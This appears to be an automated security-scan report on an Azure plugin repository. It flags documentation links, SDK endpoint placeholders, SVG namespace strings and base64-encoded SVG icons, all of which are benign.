harness/claude-code/plugins/azure-data-development/skills/azure-kusto-graph/references/EXAMPLES.md

  • Network accessline 3
    Paste any of these into **Copilot Chat** to see the skill in action. Cluster: `https://kc7001.eastus.kusto.windows.net`
  • Network accessline 4
    Cluster: `https://kc7001.eastus.kusto.windows.net`

harness/claude-code/plugins/azure-data-development/skills/azure-kusto-graph/references/KUSTO_EXPLORER_LAUNCH.md

  • Network accessline 69
    Save the `.kql` file as in Step 3 and suggest: - Open in the VS Code Kusto extension - Paste into [ADX Web Explorer](https://dataexplorer.azure.com)
  • Network accessline 71
    - Paste into [ADX Web Explorer](https://dataexplorer.azure.com)

harness/claude-code/plugins/azure-data-development/skills/azure-kusto-irql-graph/SKILL.md

  • Network accessline 57
    - **Cluster**: `https://kc7001.eastus.kusto.windows.net`
  • Network accessline 144
    Use icons from `https://raw.githubusercontent.com/benc-uk/icon-collection/master/azure-icons/`:
  • Network accessline 215
    let auth_mapping = '{"node_types":[{"type":"SrcIp","id":"SrcIp","key":"ClientIp","props":["ClientIp"],"defaults":{},"defIcon":"https://raw.githubusercontent.com/benc-uk/icon-collection/master/azure-icons/Public-IP-Addresses-(Classic).svg"},
  • Network accessline 232
    let mail_mapping = '{"node_types":[{"type":"EmailMessage","id":"Message","key":"Subject","props":["EnvTime","Subject","Verdict"],"defaults":{},"defIcon":"https://raw.githubusercontent.com/benc-uk/icon-collection/master/azure-icons/Media-Fil
  • Network accessline 247
    let suspicious_domain_mapping = '{"node_types":[{"type":"IP","id":"IP","key":"ClientIp","props":["ClientIp"],"defaults":{},"defIcon":"https://raw.githubusercontent.com/benc-uk/icon-collection/master/azure-icons/Public-IP-Addresses-(Classic)
  • Network accessline 264
    let proc_mapping = '{"node_types":[{"type":"Process","id":"Proc","key":"ProcessName","props":["ProcessName","ProcessCommandLine","ProcessHash"],"defaults":{},"defIcon":"https://raw.githubusercontent.com/benc-uk/icon-collection/master/azure-

harness/claude-code/plugins/azure-data-development/skills/azure-kusto-irql-graph/references/EXAMPLES.md

  • Network accessline 3
    Paste any of these into **Copilot Chat** to see the skill in action. Cluster: `https://kc7001.eastus.kusto.windows.net`
  • Network accessline 4
    Cluster: `https://kc7001.eastus.kusto.windows.net`

harness/claude-code/plugins/azure-data-development/skills/azure-kusto-irql-graph/references/KUSTO_EXPLORER_LAUNCH.md

  • Network accessline 69
    Save the `.kql` file as in Step 3 and suggest: - Open in the VS Code Kusto extension - Paste into [ADX Web Explorer](https://dataexplorer.azure.com)
  • Network accessline 71
    - Paste into [ADX Web Explorer](https://dataexplorer.azure.com)

harness/claude-code/plugins/azure-data-development/skills/azure-kusto-irql/SKILL.md

  • Network accessline 58
    **Public example cluster** (functions pre-deployed): - Cluster: `https://kc7001.eastus.kusto.windows.net`
  • Network accessline 59
    - Cluster: `https://kc7001.eastus.kusto.windows.net`

harness/claude-code/plugins/azure-data-development/skills/azure-kusto-irql/references/EXAMPLES.md

  • Network accessline 3
    Paste any of these into **Copilot Chat** to see the skill in action. Cluster: `https://kc7001.eastus.kusto.windows.net`
  • Network accessline 4
    Cluster: `https://kc7001.eastus.kusto.windows.net`

harness/claude-code/plugins/azure-data-development/skills/azure-kusto-irql/references/KUSTO_EXPLORER_LAUNCH.md

  • Network accessline 69
    Save the `.kql` file as in Step 3 and suggest: - Open in the VS Code Kusto extension - Paste into [ADX Web Explorer](https://dataexplorer.azure.com)
  • Network accessline 71
    - Paste into [ADX Web Explorer](https://dataexplorer.azure.com)

harness/claude-code/plugins/azure-data-development/skills/azure-storage/SKILL.md

  • Network accessline 97
    - Blob storage patterns and lifecycle -> [Blob Storage documentation](https://learn.microsoft.com/azure/storage/blobs/storage-blobs-overview)
  • Network accessline 98
    - File shares and Azure File Sync -> [Azure Files documentation](https://learn.microsoft.com/azure/storage/files/storage-files-introduction)
  • Network accessline 99
    - Queue patterns and poison handling -> [Queue Storage documentation](https://learn.microsoft.com/azure/storage/queues/storage-queues-introduction)

harness/claude-code/plugins/azure-data-development/skills/azure-storage/references/auth-best-practices.md

  • Network accessline 3
    > Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 122
    - [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview)
  • Network accessline 123
    - [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview)
  • Network accessline 124
    - [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview)
  • Network accessline 125
    - [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 126
    - [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme)
  • Network accessline 127
    - [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme)
  • Network accessline 128
    - [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)

harness/claude-code/plugins/azure-data-development/skills/azure-storage/references/sdk-usage.md

  • Network accessline 36
    service = BlobServiceClient(account_url="https://ACCOUNT.blob.core.windows.net/", credential=DefaultAzureCredential())
  • Network accessline 47
    const client = new BlobServiceClient("https://ACCOUNT.blob.core.windows.net/", new DefaultAzureCredential());
  • Network accessline 58
    var client = new BlobServiceClient(new Uri("https://ACCOUNT.blob.core.windows.net/"), new DefaultAzureCredential());
  • Network accessline 70
    BlobServiceClient client = new BlobServiceClientBuilder()     .endpoint("https://ACCOUNT.blob.core.windows.net/")
  • Network accessline 71
    .endpoint("https://ACCOUNT.blob.core.windows.net/")
  • Network accessline 90
    func main() {     cred, _ := azidentity.NewDefaultAzureCredential(nil)     client, _ := azblob.NewClient("https://ACCOUNT.blob.core.windows.net/", cred, nil)
  • Network accessline 92
    client, _ := azblob.NewClient("https://ACCOUNT.blob.core.windows.net/", cred, nil)
  • Network accessline 104
    let credential = DeveloperToolsCredential::new(None)?; let blob_client = BlobClient::new(     "https://ACCOUNT.blob.core.windows.net/",
  • Network accessline 105
    let blob_client = BlobClient::new(     "https://ACCOUNT.blob.core.windows.net/",     "my-container",
  • Network accessline 106
    "https://ACCOUNT.blob.core.windows.net/",

harness/claude-code/plugins/azure-data-development/skills/azure-storage/references/sdk/azure-storage-blob-ts.md

  • Network accessline 12
    import { BlobServiceClient } from "@azure/storage-blob"; import { DefaultAzureCredential } from "@azure/identity"; const client = new BlobServiceClient(`https://${accountName}.blob.core.windows.net`, new DefaultAzureCredential());
  • Network accessline 14
    const client = new BlobServiceClient(`https://${accountName}.blob.core.windows.net`, new DefaultAzureCredential());

harness/claude-code/plugins/azure-data-development/skills/azure-storage/references/sdk/azure-storage-file-share-ts.md

  • Network accessline 12
    import { ShareServiceClient } from "@azure/storage-file-share"; import { DefaultAzureCredential } from "@azure/identity"; const client = new ShareServiceClient(`https://${accountName}.file.core.windows.net`, new DefaultAzureCredential());
  • Network accessline 14
    const client = new ShareServiceClient(`https://${accountName}.file.core.windows.net`, new DefaultAzureCredential());

harness/claude-code/plugins/azure-data-development/skills/azure-storage/references/sdk/azure-storage-queue-ts.md

  • Network accessline 12
    import { QueueServiceClient } from "@azure/storage-queue"; import { DefaultAzureCredential } from "@azure/identity"; const client = new QueueServiceClient(`https://${accountName}.queue.core.windows.net`, new DefaultAzureCredential());
  • Network accessline 14
    const client = new QueueServiceClient(`https://${accountName}.queue.core.windows.net`, new DefaultAzureCredential());

harness/claude-code/plugins/azure-developer-tooling/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "paulasilvatech"   },   "repository": "https://github.com/paulasilvatech/copilot-primitives",
  • Network accessline 7
    },   "repository": "https://github.com/paulasilvatech/copilot-primitives",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/paulasilvatech/copilot-primitives",

harness/claude-code/plugins/azure-developer-tooling/skills/azure-architecture-autopilot/.gitignore

  • Access to secretsline 23
    [Credential-related source omitted]

harness/claude-code/plugins/azure-developer-tooling/skills/azure-architecture-autopilot/references/architecture-guidance-sources.md

  • Network accessline 32
    | ID | Document | URL | Purpose | |----|----------|-----|---------| | A1 | Azure Architecture Center | https://learn.microsoft.com/en-us/azure/architecture/ | Hub — Entry point for finding domain-specific documents |
  • Network accessline 33
    |----|----------|-----|---------| | A1 | Azure Architecture Center | https://learn.microsoft.com/en-us/azure/architecture/ | Hub — Entry point for finding domain-specific documents | | A2 | Well-Architected Framework | https://learn.microso
  • Network accessline 34
    | A1 | Azure Architecture Center | https://learn.microsoft.com/en-us/azure/architecture/ | Hub — Entry point for finding domain-specific documents |
  • Network accessline 35
    | A2 | Well-Architected Framework | https://learn.microsoft.com/en-us/azure/architecture/framework/ | Security/reliability/performance/cost/operations principles |
  • Network accessline 36
    | A3 | Cloud Adoption Framework / Landing Zone | https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/landing-zone/ | Enterprise governance, network topology, subscription structure |
  • Network accessline 37
    | A4 | Azure AI/ML Architecture | https://learn.microsoft.com/en-us/azure/architecture/ai-ml/ | AI/ML workload reference architecture hub |
  • Network accessline 38
    | A5 | Basic Foundry Chat Reference Architecture | https://learn.microsoft.com/en-us/azure/architecture/ai-ml/architecture/basic-azure-ai-foundry-chat | Basic Foundry-based chatbot structure |
  • Network accessline 39
    | A6 | Baseline AI Foundry Chat Reference Architecture | https://learn.microsoft.com/en-us/azure/architecture/ai-ml/architecture/baseline-openai-e2e-chat | Foundry chatbot enterprise baseline (including network isolation) |
  • Network accessline 40
    | A7 | RAG Solution Design Guide | https://learn.microsoft.com/en-us/azure/architecture/ai-ml/guide/rag/rag-solution-design-and-evaluation-guide | RAG pattern design guide |
  • Network accessline 41
    | A8 | Microsoft Fabric Overview | https://learn.microsoft.com/en-us/fabric/get-started/microsoft-fabric-overview | Fabric platform overview and workload understanding |
  • Network accessline 42
    | A9 | Fabric Governance / Adoption | https://learn.microsoft.com/en-us/power-bi/guidance/fabric-adoption-roadmap-governance | Fabric governance, adoption roadmap |
  • Network accessline 48
    | Document | URL | Notes | |----------|-----|-------| | Azure Updates | https://azure.microsoft.com/en-us/updates/ | Service changes/new feature announcements. Not a targeted fetch target |
  • Network accessline 50
    | Azure Updates | https://azure.microsoft.com/en-us/updates/ | Service changes/new feature announcements. Not a targeted fetch target |

harness/claude-code/plugins/azure-developer-tooling/skills/azure-architecture-autopilot/references/azure-dynamic-sources.md

  • Network accessline 13
    | Service | MS Docs URL | |---------|-------------| | CognitiveServices (Foundry/OpenAI) | https://learn.microsoft.com/en-us/azure/templates/microsoft.cognitiveservices/accounts |
  • Network accessline 14
    |---------|-------------| | CognitiveServices (Foundry/OpenAI) | https://learn.microsoft.com/en-us/azure/templates/microsoft.cognitiveservices/accounts | | AI Search | https://learn.microsoft.com/en-us/azure/templates/microsoft.search/searc
  • Network accessline 15
    | CognitiveServices (Foundry/OpenAI) | https://learn.microsoft.com/en-us/azure/templates/microsoft.cognitiveservices/accounts |
  • Network accessline 16
    | AI Search | https://learn.microsoft.com/en-us/azure/templates/microsoft.search/searchservices |
  • Network accessline 17
    | Storage Account | https://learn.microsoft.com/en-us/azure/templates/microsoft.storage/storageaccounts |
  • Network accessline 18
    | Key Vault | https://learn.microsoft.com/en-us/azure/templates/microsoft.keyvault/vaults |
  • Network accessline 19
    | Virtual Network | https://learn.microsoft.com/en-us/azure/templates/microsoft.network/virtualnetworks |
  • Network accessline 20
    | Private Endpoints | https://learn.microsoft.com/en-us/azure/templates/microsoft.network/privateendpoints |
  • Network accessline 21
    | Private DNS Zones | https://learn.microsoft.com/en-us/azure/templates/microsoft.network/privatednszones |
  • Network accessline 22
    | Fabric | https://learn.microsoft.com/en-us/azure/templates/microsoft.fabric/capacities |
  • Network accessline 23
    | Data Factory | https://learn.microsoft.com/en-us/azure/templates/microsoft.datafactory/factories |
  • Network accessline 24
    | Application Insights | https://learn.microsoft.com/en-us/azure/templates/microsoft.insights/components |
  • Network accessline 25
    | ML Workspace (Hub) | https://learn.microsoft.com/en-us/azure/templates/microsoft.machinelearningservices/workspaces |
  • Network accessline 33
    https://learn.microsoft.com/en-us/azure/templates/microsoft.{provider}/{resourceType}
  • Network accessline 42
    | Verification Method | URL / Command | |--------------------|---------------| | MS Docs model availability | https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models |
  • Network accessline 43
    |--------------------|---------------| | MS Docs model availability | https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models | | Azure CLI (existing resources) | `az cognitiveservices account list-models --name "<NAME>" 
  • Network accessline 44
    | MS Docs model availability | https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models |
  • Network accessline 55
    | Verification Method | URL | |--------------------|-----| | PE DNS integration official docs | https://learn.microsoft.com/en-us/azure/private-link/private-endpoint-dns |
  • Network accessline 57
    | PE DNS integration official docs | https://learn.microsoft.com/en-us/azure/private-link/private-endpoint-dns |
  • Network accessline 67
    | Verification Method | URL | |--------------------|-----| | Azure service-by-region availability | https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/ |
  • Network accessline 69
    | Azure service-by-region availability | https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/ |
  • Network accessline 77
    | Source | URL | Purpose | |--------|-----|---------| | Azure Updates | https://azure.microsoft.com/en-us/updates/ | Service change awareness |
  • Network accessline 78
    |--------|-----|---------| | Azure Updates | https://azure.microsoft.com/en-us/updates/ | Service change awareness | | What's New in Azure | Per-service What's New pages in Docs | Feature change verification |
  • Network accessline 79
    | Azure Updates | https://azure.microsoft.com/en-us/updates/ | Service change awareness |

harness/claude-code/plugins/azure-developer-tooling/skills/azure-architecture-autopilot/references/bicep-generator.md

  • Network accessline 21
    **Verification Methods (in priority order): ** 1. Check the MS Docs model availability page: https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models
  • Network accessline 22
    1. Check the MS Docs model availability page: https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models
  • Network accessline 48
    ### Always Fetch (Dynamic)
  • Network accessline 68
    1. **Notify the user **: "This service is outside the v1 default scope. It will be generated on a best-effort basis by referencing MS Docs." 2. **Fetch API version **: Construct the URL in the format `https://learn.microsoft.com/en-us/azure
  • Network accessline 69
    2. **Fetch API version **: Construct the URL in the format `https://learn.microsoft.com/en-us/azure/templates/microsoft.{provider}/{resourceType}` and fetch
  • Network accessline 70
    3. **Identify resource type/required properties **: Confirm the resource type and required properties from the fetched Docs 4. **Verify PE mapping **: Fetch `https://learn.microsoft.com/en-us/azure/private-link/private-endpoint-dns` to conf
  • Network accessline 71
    4. **Verify PE mapping **: Fetch `https://learn.microsoft.com/en-us/azure/private-link/private-endpoint-dns` to confirm groupId/DNS Zone

harness/claude-code/plugins/azure-developer-tooling/skills/azure-architecture-autopilot/references/phase1-advisor.md

  • Network accessline 162
    - **`choices` MUST be passed as a string array (`["A", "B"]`) ** — passing as a string (`"A, B"`) will cause an error - If there is a recommended option, place it first and append `(Recommended)` at the end - Include reference information i
  • Network accessline 163
    - If there is a recommended option, place it first and append `(Recommended)` at the end - Include reference information in choices — e.g., `"Standard S1 - Recommended for production. Ref: https://{example-url}"` - **Only 1 question per cal
  • Network accessline 164
    - Include reference information in choices — e.g., `"Standard S1 - Recommended for production. Ref: https://{example-url}"`
  • Network accessline 183
    // 1. SKU question ask_user({   question: "Please select the SKU for AI Search. Ref: https://learn.microsoft.com/en-us/azure/search/search-sku-tier",
  • Network accessline 184
    ask_user({   question: "Please select the SKU for AI Search. Ref: https://learn.microsoft.com/en-us/azure/search/search-sku-tier",   choices: [
  • Network accessline 185
    question: "Please select the SKU for AI Search. Ref: https://learn.microsoft.com/en-us/azure/search/search-sku-tier",
  • Network accessline 194
    // 2. Region question (separate call — only 1 question per call) ask_user({   question: "Please select the Azure region for deployment. Ref: https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models",
  • Network accessline 195
    ask_user({   question: "Please select the Azure region for deployment. Ref: https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models",   choices: [
  • Network accessline 196
    question: "Please select the Azure region for deployment. Ref: https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models",
  • Network accessline 325
    Write-Host "Please install using one of the following methods:" -ForegroundColor Yellow   Write-Host "  1. winget install Python.Python.3.12"   Write-Host "  2. Download from https://www.python.org/downloads/"
  • Network accessline 326
    Write-Host "  1. winget install Python.Python.3.12"   Write-Host "  2. Download from https://www.python.org/downloads/"   Write-Host "  3. Search for 'Python 3.12' in the Microsoft Store and install"
  • Network accessline 327
    Write-Host "  2. Download from https://www.python.org/downloads/"

harness/claude-code/plugins/azure-developer-tooling/skills/azure-architecture-autopilot/references/service-gotchas.md

  • Network accessline 59
    > > This mapping is complex and subject to change, so always fetch and verify MS Docs when configuring Monitor PE: > https://learn.microsoft.com/en-us/azure/azure-monitor/logs/private-link-configure
  • Network accessline 61
    > https://learn.microsoft.com/en-us/azure/azure-monitor/logs/private-link-configure

harness/claude-code/plugins/azure-developer-tooling/skills/azure-architecture-autopilot/scripts/cli.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/azure-developer-tooling/skills/azure-architecture-autopilot/scripts/generator.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 528
    <title>{title}</title> <style>   @import url('https://fonts.googleapis.com/css2?family=Segoe+UI:wght@400%3B600%3B700&family=Inter:wght@400%3B500%3B600&display=swap');
  • Network accessline 529
    <style>   @import url('https://fonts.googleapis.com/css2?family=Segoe+UI:wght@400%3B600%3B700&family=Inter:wght@400%3B500%3B600&display=swap');   * {{ box-sizing: border-box; margin: 0; padding: 0; }}
  • Network accessline 530
    @import url('https://fonts.googleapis.com/css2?family=Segoe+UI:wght@400%3B600%3B700&family=Inter:wght@400%3B500%3B600&display=swap');
  • Network accessline 1139
    const vr = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 1147
    const vnetLabel = VNET_INFO ? `Virtual Network (${{VNET_INFO}})` : 'Virtual Network';       const vl = document.createElementNS('http://www.w3.org/2000/svg', 'g');
  • Network accessline 1148
    const vl = document.createElementNS('http://www.w3.org/2000/svg', 'g');
  • Network accessline 1168
    if (gb.isPE) {{       // PE group — always draw with dashed style       const gr = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 1169
    // PE group — always draw with dashed style       const gr = document.createElementNS('http://www.w3.org/2000/svg', 'rect');       gr.setAttribute('x', gb.x); gr.setAttribute('y', gb.y);
  • Network accessline 1170
    const gr = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 1177
    }} else {{       // Service group (category or RG)       const gr = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 1178
    // Service group (category or RG)       const gr = document.createElementNS('http://www.w3.org/2000/svg', 'rect');       gr.setAttribute('x', gb.x); gr.setAttribute('y', gb.y);
  • Network accessline 1179
    const gr = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 1190
    // Title bar     const titleBar = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 1191
    const titleBar = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 1196
    titleBar.setAttribute('opacity', '0.1');     root.appendChild(titleBar);     const titleFill = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 1197
    root.appendChild(titleBar);     const titleFill = document.createElementNS('http://www.w3.org/2000/svg', 'rect');     titleFill.setAttribute('x', gb.x); titleFill.setAttribute('y', gb.y + GROUP_TITLE_H - 8);
  • Network accessline 1198
    const titleFill = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 1204
    // Color accent line     const accent = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 1205
    const accent = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 1211
    // Group label — RG uses resource group name, PE uses "Private Endpoints", category uses category name     const label = document.createElementNS('http://www.w3.org/2000/svg', 'text');
  • Network accessline 1212
    const label = document.createElementNS('http://www.w3.org/2000/svg', 'text');
  • Network accessline 1253
    const sr = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 1261
    const sl = document.createElementNS('http://www.w3.org/2000/svg', 'text');
  • Network accessline 2533
    const path = document.createElementNS('http://www.w3.org/2000/svg', 'path');
  • Network accessline 2603
    const nw = isPe ? PE_W : SVC_W;     const nh = isPe ? PE_H : SVC_H;     const g = document.createElementNS('http://www.w3.org/2000/svg', 'g');
  • Network accessline 2604
    const nh = isPe ? PE_H : SVC_H;     const g = document.createElementNS('http://www.w3.org/2000/svg', 'g');     g.setAttribute('class', 'node');
  • Network accessline 2605
    const g = document.createElementNS('http://www.w3.org/2000/svg', 'g');
  • Network accessline 2610
    // Card background — full clickable area     const rect = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 2611
    const rect = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 2619
    // Color accent bar at top     const accent = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 2620
    const accent = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 2630
    if (node.icon_data_uri) {{       // Official Azure icon (Base64 image)       const iconImg = document.createElementNS('http://www.w3.org/2000/svg', 'image');
  • Network accessline 2631
    // Official Azure icon (Base64 image)       const iconImg = document.createElementNS('http://www.w3.org/2000/svg', 'image');       iconImg.setAttribute('x', iconX); iconImg.setAttribute('y', iconY);
  • Network accessline 2632
    const iconImg = document.createElementNS('http://www.w3.org/2000/svg', 'image');
  • Network accessline 2633
    iconImg.setAttribute('x', iconX); iconImg.setAttribute('y', iconY);       iconImg.setAttribute('width', iconSize); iconImg.setAttribute('height', iconSize);       iconImg.setAttributeNS('http://www.w3.org/1999/xlink', 'href', node.icon_data
  • Network accessline 2634
    iconImg.setAttribute('width', iconSize); iconImg.setAttribute('height', iconSize);       iconImg.setAttributeNS('http://www.w3.org/1999/xlink', 'href', node.icon_data_uri);       g.appendChild(iconImg);
  • Network accessline 2635
    iconImg.setAttributeNS('http://www.w3.org/1999/xlink', 'href', node.icon_data_uri);
  • Network accessline 2637
    }} else {{       // Fallback: built-in SVG text icon       const iconG = document.createElementNS('http://www.w3.org/2000/svg', 'svg');
  • Network accessline 2638
    // Fallback: built-in SVG text icon       const iconG = document.createElementNS('http://www.w3.org/2000/svg', 'svg');       iconG.setAttribute('x', iconX); iconG.setAttribute('y', iconY);
  • Network accessline 2639
    const iconG = document.createElementNS('http://www.w3.org/2000/svg', 'svg');
  • Network accessline 2647
    // Name — extra gap below icon (icon bottom ~50, name baseline at 74 → 24px breathing room)     const name = document.createElementNS('http://www.w3.org/2000/svg', 'text');
  • Network accessline 2648
    const name = document.createElementNS('http://www.w3.org/2000/svg', 'text');
  • Network accessline 2658
    // SKU label     if (!isPe && node.sku) {{       const sku = document.createElementNS('http://www.w3.org/2000/svg', 'text');
  • Network accessline 2659
    if (!isPe && node.sku) {{       const sku = document.createElementNS('http://www.w3.org/2000/svg', 'text');       sku.setAttribute('x', nw/2); sku.setAttribute('y', 90);
  • Network accessline 2660
    const sku = document.createElementNS('http://www.w3.org/2000/svg', 'text');
  • Network accessline 2669
    if (isPe && node.details.length > 0) {{       const det = document.createElementNS('http://www.w3.org/2000/svg', 'text');
  • Network accessline 2670
    const det = document.createElementNS('http://www.w3.org/2000/svg', 'text');
  • Network accessline 2697
    }};       const typeLabel = TYPE_LABELS[node.type] || node.type;       const cat = document.createElementNS('http://www.w3.org/2000/svg', 'text');
  • Network accessline 2698
    const typeLabel = TYPE_LABELS[node.type] || node.type;       const cat = document.createElementNS('http://www.w3.org/2000/svg', 'text');       cat.setAttribute('x', nw/2); cat.setAttribute('y', nh + 14);
  • Network accessline 2699
    const cat = document.createElementNS('http://www.w3.org/2000/svg', 'text');
  • Network accessline 2709
    // Private badge on card     if (node.private && !isPe) {{       const badge = document.createElementNS('http://www.w3.org/2000/svg', 'g');
  • Network accessline 2710
    if (node.private && !isPe) {{       const badge = document.createElementNS('http://www.w3.org/2000/svg', 'g');       const br = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 2711
    const badge = document.createElementNS('http://www.w3.org/2000/svg', 'g');
  • Network accessline 2712
    const br = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 2758
    // ── Edge labels (rendered AFTER nodes — always visible on top) ──   _edgeLabels.forEach(el => {{     const g = document.createElementNS('http://www.w3.org/2000/svg', 'g');
  • Network accessline 2759
    _edgeLabels.forEach(el => {{     const g = document.createElementNS('http://www.w3.org/2000/svg', 'g');     g.classList.add('edge-label');
  • Network accessline 2760
    const g = document.createElementNS('http://www.w3.org/2000/svg', 'g');
  • Network accessline 2762
    g.setAttribute('data-from', el.from);     g.setAttribute('data-to', el.to);     const r = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 2763
    g.setAttribute('data-to', el.to);     const r = document.createElementNS('http://www.w3.org/2000/svg', 'rect');     r.classList.add('edge-label-bg');
  • Network accessline 2764
    const r = document.createElementNS('http://www.w3.org/2000/svg', 'rect');
  • Network accessline 2765
    r.classList.add('edge-label-bg');     const t = document.createElementNS('http://www.w3.org/2000/svg', 'text');     const bw = el.label.length * 6 + 10;
  • Network accessline 2766
    const t = document.createElementNS('http://www.w3.org/2000/svg', 'text');

harness/claude-code/plugins/azure-developer-tooling/skills/azure-architecture-autopilot/scripts/icons.py

  • Executable scriptline 1
    Executable file
  • Possible obfuscationline 7
    "b64": "PHN2ZyBpZD0idXVpZC1mY2E5ZmM4YS03ZTg3LTQyOTEtOTU5Ni1jYjg3ODIzMWQzMjMiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxwYXRoIGQ9Ik05LjA4MiwxNC42NzdoMy4zNDVjLjY2MywwLDEuMi0uNTM3
  • Possible obfuscationline 12
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImViYWE2NjZmLWQzNGItNDdjNi05ZGQ4LTk1NWNjZTY0MmRkOSIgeDE9IjE0LjQxNSIgeTE9IjEzLjU1NSIgeDI9
  • Possible obfuscationline 17
    "b64": "PHN2ZyBpZD0idXVpZC0xNzM1MTRmNy1kNmE1LTRkZjctODNhMC04ODMzZjg4NjEzODYiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC1mNjFhNjQxMy1kYTM1
  • Possible obfuscationline 22
    "b64": "PHN2ZyBpZD0iZjQ1YWI3ODItN2E2ZC00ZjE4LTk0MTYtOGY3OGE0MDg3MTU1IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImY4YTZhNGZjLTllOGQtNDIzYS05N2Qx
  • Possible obfuscationline 27
    "b64": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImE0ODUyZTZmLTRlNDgtNDdhNi04Y2I3LWM1NDAxN2M0Mzg5NiIgeDE9IjkuMjgyIiB5MT0iMTIuMDc5IiB4Mj0i
  • Possible obfuscationline 32
    "b64": "PHN2ZyBpZD0iYmNlODM0ZTctZDM3Ni00YzIxLTk3ZTYtYjZjODQwYzMyZGUwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxOCIgaGVpZ2h0PSIxOCIgdmlld0JveD0iMCAwIDE4IDE4Ij48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImI1YjYwODgyLWFiZGUtNDcwYy1hMGY1
  • Possible obfuscationline 37
    "b64": "PHN2ZyBpZD0idXVpZC1iZTI1ODQ1Zi1jNjcyLTQ5MmEtYmM1My05NjE0Y2M5YmM3NmYiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC01NzcyZmQyYS03YzM2
  • Possible obfuscationline 42
    "b64": "PHN2ZyBpZD0idXVpZC02YjgzODBjMy0wZWU1LTRjNDQtOTJhMi1mMTg1YzgyZGI2YmEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjE4IiBoZWlnaHQ9IjE4IiB2aWV3Qm94PSIwIDAgMTggMTgiPjxkZWZzPjxsaW5lYXJHcmFkaWVudCBpZD0idXVpZC0wNTg3NmM3Mi04ZjI2
  • Possible obfuscationline 47
